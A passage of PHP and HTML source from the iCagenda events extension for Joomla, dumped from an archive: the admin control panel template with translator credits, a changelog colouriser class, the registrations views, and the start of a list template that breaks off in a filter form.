								. JText::sprintf('COM_ICAGENDA_PRO_WELCOME_SUPPORT', '<a href="http://pro.joomlic.com/support" target="_blank">Pro Ticket System</a>') . '</p>'
								. '<p><small><strong>' . JText::_('COM_ICAGENDA_PRO_WELCOME_NOTE') . '</strong></small></p>'
								. '<div style="text-align:center">'
								. '<a class="hasTooltip" href="' . JRoute::_($thisURL.'&welcome=-1') . '" data-original-title="Clear" data-toggle="tooltip" title="' . JText::_('COM_ICAGENDA_WELCOME_SHOW_SUCCESS_DESC') . '">'
								. '<div class="btn btn-inverse btn-small">' . JText::_('IC_HIDE_THIS_MESSAGE') . '</div>'
								. '</a>'
								. '</div>'
								, 'message');
								?>
							<?php endif; ?>
						<?php } ?>

						<div style="float:right; padding:0px 0px 0px 20px;">
							<img src="../media/com_icagenda/images/logo_icagenda.png" alt="logo_icagenda" />
						</div>
						<div>
							<h2 style="font-size:2em;">
								<b style="color:#cc0000;">iC</b><b style="color: #666666;">agenda<sup style="font-size:0.6em">&trade;</sup></b><?php echo $version;?>
							</h2>
						</div>
						<div>
							<h4>
								<?php echo JText::_('COM_ICAGENDA_COMPONENT_DESC') ?>
							</h4>
						</div>

						<div class="small">
							<?php echo JText::_('COM_ICAGENDA_FEATURES_BACKEND') ?><br />
							<?php echo JText::_('COM_ICAGENDA_FEATURES_FRONTEND') ?>
						</div>

						<div>&nbsp;</div>

						<div style="font-size:0.9em" class="blockbtn">
							<?php echo JText::_('COM_ICAGENDA_PANEL_VERSION');?>:&nbsp;<b><?php echo $release ;?></b> | <?php echo JText::_('COM_ICAGENDA_PANEL_DATE');?>:&nbsp;<b><?php echo $date ;?></b>&nbsp;&nbsp;

							<?php JHtml::_('behavior.modal'); ?>
							<div style="display:none;">
								<div id="icagenda-changelog">
									<?php
										require_once dirname(__FILE__).'/color.php';
										echo iCagendaUpdateLogsColoriser::colorise(JPATH_COMPONENT_ADMINISTRATOR.'/CHANGELOG.php');
									?>
								</div>
							</div>
							<a href="#icagenda-changelog" class="btn modal"><?php echo JText::_('COM_ICAGENDA_PANEL_UPDATE_LOGS') ?></a>
							<?php //  rel="{size: {x: 800, y: 350}}" ?>
						</div>

						<br/>
						<?php
							$urlposter = '../media/com_icagenda/images/video_poster_icagenda.jpg';
						?>

						<div>&nbsp;</div>
						<div>&nbsp;</div>

						<div onclick="thevid=document.getElementById('thevideo'); thevid.style.display='block'; this.style.display='none'">
							<img style="cursor: pointer;" src="<?php echo $urlposter; ?>" alt="" width="100%" />
						</div>

						<div id="thevideo" style="display: none;">
							<?php
								jimport('joomla.application.component.helper'); // Import component helper library
								$icagendaParams = JComponentHelper::getParams('com_icagenda');
								$icfolder = $icagendaParams->get('icsys');
							?>
							<iframe src="http://www.joomlic.com/_icagenda/<?php echo $icfolder; ?>/tutorial_video_cp.html" frameborder="0" width="100%" height="340" scrolling="no"></iframe>
						</div>

						<div style="color:#333; margin-top: 5px; font-size: 0.8em;">
							© <?php echo date("Y"); ?> <?php echo JText::_('COM_ICAGENDA_VIDEO_TUTORIALS');?> - Giuseppe Bosco (giusebos) | <a href="http://www.newideasproject.com/" target="_blank">www.newideasproject.com</a>
						</div>

						<div style="color:#333; margin-top: 5px; font-size: 0.8em; line-height:14px; height:30px;">
							<a href="http://www.youtube.com/user/iCagenda" target="_blank"><img src="../media/com_icagenda/images/youtube_iCagenda.png" alt="" style="vertical-align:bottom;" /></a> : <a href="http://www.youtube.com/user/iCagenda" target="_blank"><?php echo JText::_('COM_ICAGENDA_VIDEO_TUTORIALS');?></a>
						</div>

						<div>&nbsp;</div>
					</div>
				</div>
			</div>
		</div>
	</div>

	<div class="row-fluid">
		<div class="span12">
			<div class="row-fluid">
				<div class="span12">
					<h3>40&nbsp;<?php echo JText::_('COM_ICAGENDA_PANEL_TRANSLATION_PACKS');?></h3>
					<p>
						<?php
							if(version_compare(JVERSION, '3.0', 'lt')) {
								$iCtag = '::';
							} else {
								$iCtag = '<br>';
							}
						?>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Arabic (Unitag)
							<?php echo $iCtag;?><?php echo $translator;?>: haneen2013, fkinanah " >
							<img src="../media/mod_languages/images/ar.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Basque (Spain)
							<?php echo $iCtag;?><?php echo $translator;?>: Bizkaitarra " >
							<img src="../media/mod_languages/images/eu_es.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Bulgarian (Bulgaria)
							<?php echo $iCtag;?><?php echo $translator;?>: bimbongr " >
							<img src="../media/mod_languages/images/bg.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Catalan (Spain)
							<?php echo $iCtag;?><?php echo $translator;?>: Mussool, Figuerolero, riquib " >
							<img src="../media/mod_languages/images/ca.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Chinese (China)
							<?php echo $iCtag;?><?php echo $translator;?>: Foxyman " >
							<img src="../media/mod_languages/images/zh.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Chinese (Taiwan)
							<?php echo $iCtag;?><?php echo $translator;?>: jedi, hkce, rowdytang " >
							<img src="../media/mod_languages/images/tw.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Croatian (Croatia)
							<?php echo $iCtag;?><?php echo $translator;?>: Davor Čolić, komir " >
							<img src="../media/mod_languages/images/hr.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Czech (Czech Republic)
							<?php echo $iCtag;?><?php echo $translator;?>: Bong " >
							<img src="../media/mod_languages/images/cz.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Danish (Denmark)
							<?php echo $iCtag;?><?php echo $translator;?>: olewolf.dk, hvitnov, torbenspetersen, poulfrom, AhmadHamid " >
							<img src="../media/mod_languages/images/dk.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Dutch (Netherlands)
							<?php echo $iCtag;?><?php echo $translator;?>: Molenwal1, AnneM, Mario Guagliardo, wfvdijk, Walldorff " >
							<img src="../media/mod_languages/images/nl.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" English (United Kingdom)
							<?php echo $iCtag;?><?php echo $translator;?>: Lyr!C " >
							<img src="../media/mod_languages/images/en.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" English (United States)
							<?php echo $iCtag;?><?php echo $translator;?>: Lyr!C " >
							<img src="../media/mod_languages/images/us.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Esperanto
							<?php echo $iCtag;?><?php echo $translator;?>: Anita_Dagmarsdotter, Amema " >
							<img src="../media/mod_languages/images/eo.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Estonian (Estonia)
							<?php echo $iCtag;?><?php echo $translator;?>: Eraser, Reijo " >
							<img src="../media/mod_languages/images/et.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Finnish (Finland)
							<?php echo $iCtag;?><?php echo $translator;?>: Kai Metsävainio " >
							<img src="../media/mod_languages/images/fi.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" French (France)
							<?php echo $iCtag;?><?php echo $translator;?>: Lyr!C " >
							<img src="../media/mod_languages/images/fr.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" German (Germany)
							<?php echo $iCtag;?><?php echo $translator;?>: grisuu, mPino, Wasilis, bmbsbr, chuerner, Proton_11, keraM " >
							<img src="../media/mod_languages/images/de.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Greek (Greece)
							<?php echo $iCtag;?><?php echo $translator;?>: E.Gkana-D.Kontogeorgis (elinag), rinenweb, kost36, mbini, Wasilis " >
							<img src="../media/mod_languages/images/el.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Hungarian (Hungary)
							<?php echo $iCtag;?><?php echo $translator;?>: Halilaci, magicf, Cerbo, mester93 " >
							<img src="../media/mod_languages/images/it.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Italian (Italy)
							<?php echo $iCtag;?><?php echo $translator;?>: Giuseppe Bosco (giusebos) " >
							<img src="../media/mod_languages/images/it.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Japanese (Japan)
							<?php echo $iCtag;?><?php echo $translator;?>: nagata, taimai908 " >
							<img src="../media/mod_languages/images/ja.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Latvian (Latvia)
							<?php echo $iCtag;?><?php echo $translator;?>: kredo9 " >
							<img src="../media/mod_languages/images/lv.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Lithuanian (Lithuania)
							<?php echo $iCtag;?><?php echo $translator;?>: ahxoohx " >
							<img src="../media/mod_languages/images/lt.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Luxembourgish (Luxembourg)
							<?php echo $iCtag;?><?php echo $translator;?>: Superjhemp " >
							<img src="../media/mod_languages/images/icon-16-language.png" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Macedonian (Macedonia)
							<?php echo $iCtag;?><?php echo $translator;?>: Strumjan (Ilija Iliev) " >
							<img src="../media/mod_languages/images/mk.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Norwegian Bokmål (Norway)
							<?php echo $iCtag;?><?php echo $translator;?>: Rikard Tømte Reitan " >
							<img src="../media/mod_languages/images/no.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Persian (Iran)
							<?php echo $iCtag;?><?php echo $translator;?>: Arash Rezvani (al3n.nvy) " >
							<img src="../media/mod_languages/images/fa_ir.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Polish (Poland)
							<?php echo $iCtag;?><?php echo $translator;?>: mbsrz, KISweb, gienio22, traktor, niewidzialny " >
							<img src="../media/mod_languages/images/pl.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Portuguese (Brazil)
							<?php echo $iCtag;?><?php echo $translator;?>: Carosouza, alxaraujo " >
							<img src="../media/mod_languages/images/pt_br.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Portuguese (Portugal)
							<?php echo $iCtag;?><?php echo $translator;?>: LFGM, macedorl, horus68, helfer " >
							<img src="../media/mod_languages/images/pt.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Romanian (Romania)
							<?php echo $iCtag;?><?php echo $translator;?>: hat, mester93 " >
							<img src="../media/mod_languages/images/ro.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Russian (Russia)
							<?php echo $iCtag;?><?php echo $translator;?>: nshash, MSV " >
							<img src="../media/mod_languages/images/ru.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Serbian (latin)
							<?php echo $iCtag;?><?php echo $translator;?>: Nenad Mihajlović " >
							<img src="../media/mod_languages/images/sr.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Slovak (Slovakia)
							<?php echo $iCtag;?><?php echo $translator;?>: ischindl, J.Ribarszki " >
							<img src="../media/mod_languages/images/sk.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Slovenian (Slovenia)
							<?php echo $iCtag;?><?php echo $translator;?>: erbi (Ervin Bizjak) " >
							<img src="../media/mod_languages/images/sl.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Spanish (Spain)
							<?php echo $iCtag;?><?php echo $translator;?>: elerizo, mPino, albertodg, adolf64, Goncatín, virem1, leoxordonez, claugardia, sterroso " >
							<img src="../media/mod_languages/images/es.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Swedish (Sweden)
							<?php echo $iCtag;?><?php echo $translator;?>: Rickard Norberg (metska), Amema, kricke " >
							<img src="../media/mod_languages/images/sv.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Thai (Thailand)
							<?php echo $iCtag;?><?php echo $translator;?>: rattanachai.ha " >
							<img src="../media/mod_languages/images/th.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Turkish (Turkey)
							<?php echo $iCtag;?><?php echo $translator;?>: harikalarkutusu, farukzeynep, kemalokmen " >
							<img src="../media/mod_languages/images/tr.gif" border="0" alt="Tooltip"/>
						</span>
						<span rel="tooltip" data-placement="right" class="editlinktip hasTip" title=" Ukrainian (Ukraine)
							<?php echo $iCtag;?><?php echo $translator;?>: Vlad Shuh (slv54) " >
							<img src="../media/mod_languages/images/uk.gif" border="0" alt="Tooltip"/>
						</span>
					</p>
				</div>
			</div>
		</div>
	</div>

	<div class="row-fluid">
		<div class="span12">
			<table style="width: 100%; border: 0px;">
				<tbody>
					<tr>
						<td>
							<a href="http://icagenda.joomlic.com/resources/translations" target="_blank" class="btn">
								<?php echo JText::_('COM_ICAGENDA_PANEL_TRANSLATION_PACKS_DONWLOAD');?>
							</a>
						</td>
						<td style="text-align:right; vertical-align: bottom;">
							<a href='http://www.joomlic.com/forum/icagenda'  target="_blank" class="btn">
								<?php echo JText::_('COM_ICAGENDA_PANEL_HELP_FORUM'); ?>
							</a>
						</td>
					</tr>
				</tbody>
			</table>
		</div>
	</div>

	<hr>

	<div class="row-fluid">
		<div class="span12">
			<div class="row-fluid">
				<div class="span9">
					Copyright ©2012-<?php echo date("Y"); ?> joomlic.com -&nbsp;
					<?php echo JText::_('COM_ICAGENDA_PANEL_COPYRIGHT');?>&nbsp;<a href="http://extensions.joomla.org/extensions/calendars-a-events/events/events-management/22013" target="_blank">Joomla! Extensions Directory</a>.
					<br />
					<br />
				</div>
				<div class="span3" style="text-align: right">
					<a href='http://www.joomlic.com' target='_blank'>
						<img src="../media/com_icagenda/images/logo_joomlic.png" alt="" border="0"/>
					</a>
					<br />
					<i><b><?php echo JText::_('COM_ICAGENDA_PANEL_SITE_VISIT');?>&nbsp;<a href='http://www.joomlic.com' target='_blank'>www.joomlic.com</a></b></i>
				</div>
			</div>
		</div>
	</div>
</div>
com_icagenda/views/icagenda/tmpl/index.html000060400000000032152455305270014775 0ustar00<html><body></body></html>com_icagenda/views/icagenda/tmpl/color.php000060400000006220152455305270014634 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.3.8 2014-07-04
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();


class iCagendaUpdateLogsColoriser
{
	public static function colorise($file, $onlyLast = false)
	{
		$ret = '';

		$lines = @file($file);

		if(empty($lines)) return $ret;

		array_shift($lines);

		foreach($lines as $line)
		{
			$line = trim($line);

			if(empty($line)) continue;

			$type = substr($line,0,1);

			switch($type)
			{
				case '=':
					continue;
					break;

				case ':':
					$ret .= "\t".'<div style="font-size:8pt;">Legend'.$line."</div>\n";
					break;

				case '?':
					$ret .= "<div class=\"ic-message-info\">".trim(substr($line,2))."</div>\n";
					break;

				case '!':
					$ret .= "\t".'<li class="ic-bold ic-important"><div class="ic-box-16 ic-box-important">!</div>'
							. htmlentities(trim(substr($line,2))) . "</li>\n";
					break;

				case '1':
					$ret .= "\t".'<li class="ic-changelog-important-sub"><span></span> '.trim(substr($line,2))."</li>\n";
					break;

				case '+':
					$ret .= "\t".'<li class="ic-added"><div class="ic-box-16 ic-box-added">+</div>'
							. htmlentities(trim(substr($line,2))) . "</li>\n";
					break;

				case '-':
					$ret .= "\t".'<li class="ic-removed"><div class="ic-box-16 ic-box-removed">-</div>'
							. htmlentities(trim(substr($line,2))) . "</li>\n";
					break;

				case '~':
					$ret .= "\t".'<li class="ic-changed"><div class="ic-box-16 ic-box-changed">~</div>'
							. htmlentities(trim(substr($line,2))) . "</li>\n";
					break;

				case '#':
					$ret .= "\t".'<li class="ic-fixed"><div class="ic-box-16 ic-box-fixed">#</div>'
							. htmlentities(trim(substr($line,2))) . "</li>\n";
					break;

//				case 'H':
//					$ret .= "\t".'<li class="ic-fixed"><div class="ic-box-16 ic-box-fixed">#</div><div class="ic-box ic-box-removed">HIGH</div> '
//							. htmlentities(trim(substr($line,2))) . "</li>\n";
//					break;

				case '*':
					$ret .= "\t".'<h4 class="ic-changelog">' . htmlentities(trim(substr($line,2))) . "</h4>\n";
					break;

				case '$':
					$ret .= "</ul>";
					$ret .= "<h3 class=\"ic-changelog-pro\">&nbsp;&nbsp;" . substr($line,2) . " <SUP>[ PRO Testing ]</SUP></h3>\n";
					$ret .= "<ul class=\"ic-changelog\">\n";
					break;

				// End
				case ';':
					$ret .= "</ul>";
					break;

				default:

					if(!empty($ret))
					{
						$ret .= "</ul>";
						if($onlyLast) return $ret;
					}

					if(!$onlyLast) $ret .= "<h3 class=\"ic-changelog\">&nbsp;&nbsp;$line</h3>\n";

					$ret .= "<ul class=\"ic-changelog\">\n";
					break;
			}
		}

		return $ret;
	}
}
com_icagenda/views/registrations/index.html000060400000000032152455305270015163 0ustar00<html><body></body></html>com_icagenda/views/registrations/view.html.php000060400000014046152455305270015626 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-07-22
 * @since       2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * View class Admin - List of Registrations - iCagenda
 */
class iCagendaViewRegistrations extends JViewLegacy
{
	protected $params;
	protected $state;
	protected $items;
	protected $pagination;
	protected $events;
	protected $dates;

	/**
	 * Display the view
	 */
	public function display($tpl = null)
	{
		// Joomla 2.5
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			jimport( 'joomla.environment.request' );

			JHtml::stylesheet('com_icagenda/template.j25.css', false, true);
			JHtml::stylesheet('com_icagenda/icagenda-back.j25.css', false, true);
		}

		$this->params		= JComponentHelper::getParams('com_icagenda');
		$this->state		= $this->get('State');
		$this->items		= $this->get('Items');
		$this->pagination	= $this->get('Pagination');

		$this->events		= $this->get('Events');
		$this->dates		= $this->get('Dates');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));
			return false;
		}

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();

			if (version_compare(JVERSION, '3.0', 'ge'))
			{
				$this->sidebar = JHtmlSidebar::render();
			}
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since	1.6
	 */
	protected function addToolbar()
	{
		require_once JPATH_COMPONENT . '/helpers/icagenda.php';

		$state	= $this->get('State');
//		$canDo	= iCagendaHelper::getActions($state->get('filter.registration_id'));
		$canDo	= iCagendaHelper::getActions();

		// Set Title
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title('iCagenda - ' . JText::_('COM_ICAGENDA_TITLE_REGISTRATION'), 'registration.png');
		}
		else
		{
			JToolBarHelper::title('iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_TITLE_REGISTRATION') . '</span>', 'users');
		}

		$icTitle = JText::_('COM_ICAGENDA_TITLE_REGISTRATION');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename	= $app->getCfg('sitename');
		$title		= $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;

		$document->setTitle($title);

		//Check if the form exists before showing the add/edit buttons
		$formPath = JPATH_COMPONENT_ADMINISTRATOR . '/views/registration';

		if (file_exists($formPath))
		{
			// Add Export Button to the ToolBar
			$bar = JToolBar::getInstance('toolbar');
			$export_icon = version_compare(JVERSION, '3.0', 'ge') ? 'download' : 'export';
			$bar->appendButton('Popup', $export_icon, 'JTOOLBAR_EXPORT', 'index.php?option=com_icagenda&amp;view=download&amp;tmpl=component', 600, 300);

			JToolBarHelper::divider();

			if ($canDo->get('core.create'))
			{
				JToolBarHelper::addNew('registration.add', 'JTOOLBAR_NEW');
			}

			if ($canDo->get('core.edit') || $canDo->get('core.edit.own'))
			{
				JToolBarHelper::editList('registration.edit', 'JTOOLBAR_EDIT');
			}

		}

		if ($canDo->get('core.edit.state'))
		{
			if (isset($this->items[0]->state))
			{
//				JToolBarHelper::divider();
				JToolBarHelper::custom('registrations.publish', 'publish.png', 'publish_f2.png','JTOOLBAR_PUBLISH', true);
				JToolBarHelper::custom('registrations.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true);
			}
			else
			{
				// If this component does not use state then show a direct delete button as we can not trash
				JToolBarHelper::deleteList('', 'registrations.delete', 'JTOOLBAR_DELETE');
			}

			if (isset($this->items[0]->state))
			{
				JToolBarHelper::divider();
				JToolBarHelper::archiveList('registrations.archive', 'JTOOLBAR_ARCHIVE');
			}

			if (isset($this->items[0]->checked_out))
			{
				JToolBarHelper::custom('registrations.checkin', 'checkin.png', 'checkin_f2.png', 'JTOOLBAR_CHECKIN', true);
			}
		}

		// Show trash and delete for components that uses the state field
		if (isset($this->items[0]->state))
		{
			if ($state->get('filter.state') == -2 && $canDo->get('core.delete'))
			{
				JToolBarHelper::deleteList('', 'registrations.delete', 'JTOOLBAR_EMPTY_TRASH');
				JToolBarHelper::divider();
			}
			elseif ($canDo->get('core.edit.state'))
			{
				JToolBarHelper::trash('registrations.trash', 'JTOOLBAR_TRASH');
				JToolBarHelper::divider();
			}
		}

		if ($canDo->get('core.admin'))
		{
			JToolBarHelper::preferences('com_icagenda');
		}

		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			JHtmlSidebar::setAction('index.php?option=com_icagenda&view=registrations');

			JHtmlSidebar::addFilter(
				JText::_('COM_ICAGENDA_REGISTRATIONS_SELECT_STATUS'),
				'filter_published',
				JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), 'value', 'text', $this->state->get('filter.state'), true)
			);
			JHtmlSidebar::addFilter(
				JText::_('COM_ICAGENDA_REGISTRATIONS_SELECT_CATEGORY'),
				'filter_categories',
				JHtml::_('select.options', $this->get('Categories'), 'value', 'text', $this->state->get('filter.categories'), true)
			);
			JHtmlSidebar::addFilter(
				JText::_('COM_ICAGENDA_REGISTRATIONS_SELECT_EVENT'),
				'filter_events',
				JHtml::_('select.options', $this->get('Events'), 'value', 'text', $this->state->get('filter.events'), true)
			);
			JHtmlSidebar::addFilter(
				JText::_('COM_ICAGENDA_REGISTRATIONS_SELECT_DATE'),
				'filter_dates',
				JHtml::_('select.options', $this->get('Dates'), 'value', 'text', $this->state->get('filter.dates'), true)
			);
		}
	}
}
com_icagenda/views/registrations/view.raw.php000060400000004254152455305270015453 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.3 2015-03-23
 * @since       3.5.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * View class for a list of registrations.
 *
 * @since	3.5.0
 */
class icagendaViewRegistrations extends JViewLegacy
{
	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$basename		= $this->get('BaseName');
		$filetype		= $this->get('FileType');
		$mimetype		= $this->get('MimeType');
		$content		= $this->get('Content');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		$document = JFactory::getDocument();
		$document->setMimeEncoding($mimetype);

		// Joomla 3
		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			JFactory::getApplication()
				->setHeader(
					'Content-disposition',
					'attachment; filename="' . $basename . '.' . $filetype . '"; creation-date="' . JFactory::getDate()->toRFC822() . '"',
					true
				);
		}
		// Joomla 2.5
		else
		{
			JResponse::setHeader('Content-disposition', 'attachment; filename="' . $basename . '.' . $filetype . '"; creation-date="' . JFactory::getDate()->toRFC822() . '"', true);
		}

		// Open file pointer to standard output
//		$fp = fopen('php://output', 'w');

		// Add BOM to fix UTF-8 in Excel
//		fputs($fp, $bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) ));

//		fclose($fp);

//$content = mb_convert_encoding($content, 'UTF-16LE', 'UTF-8');

		echo $content;
	}
}
com_icagenda/views/registrations/tmpl/default.php000060400000051045152455305270016311 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.12 2015-09-21
 * @since		2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

JHtml::_('behavior.modal');
JHtml::_('behavior.multiselect');

$app = JFactory::getApplication();

// Access Administration Registrations check.
if (JFactory::getUser()->authorise('icagenda.access.registrations', 'com_icagenda'))
{
	$user			= JFactory::getUser();
	$userId			= $user->get('id');
	$listOrder		= $this->state->get('list.ordering');
	$listDirn		= $this->state->get('list.direction');
	$canOrder		= $user->authorise('core.edit.state', 'com_icagenda');
	$saveOrder		= $listOrder == 'a.ordering';
	$dateFormat		= $this->params->get('date_format_global', 'Y - m - d');
	$dateSeparator	= $this->params->get('date_separator', ' ');
	$timeFormat		= ($this->params->get('timeformat', '1') == 1) ? 'H:i' : 'h:i A';

	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		JHtml::_('behavior.tooltip');
	}
	else
	{
		// Include the component HTML helpers.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
		JHtml::_('bootstrap.tooltip');
		JHtml::_('formbehavior.chosen', 'select');
		JHtml::_('dropdown.init');

//		$archived	= $this->state->get('filter.published') == 2 ? true : false;
//		$trashed	= $this->state->get('filter.published') == -2 ? true : false;

		if ($saveOrder)
		{
	    	$saveOrderingUrl = 'index.php?option=com_icagenda&task=registrations.saveOrderAjax&tmpl=component';
	    	JHtml::_('sortablelist.sortable', 'registrationsList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
		}
	}

	?>

	<form action="<?php echo JRoute::_('index.php?option=com_icagenda&view=registrations'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else : ?>
		<div id="j-main-container">
	<?php endif;?>

		<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
			<fieldset id="filter-bar">
				<div class="filter-search fltlft">
					<label class="filter-search-lbl" for="filter_search"><?php echo JText::_('JSEARCH_FILTER_LABEL'); ?></label>
					<input type="text" name="filter_search" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" title="<?php echo JText::_('Search'); ?>" />
					<button type="submit"><?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?></button>
					<button type="button" onclick="document.id('filter_search').value='';this.form.submit();"><?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?></button>
				</div>
				<div class="filter-select fltrt">

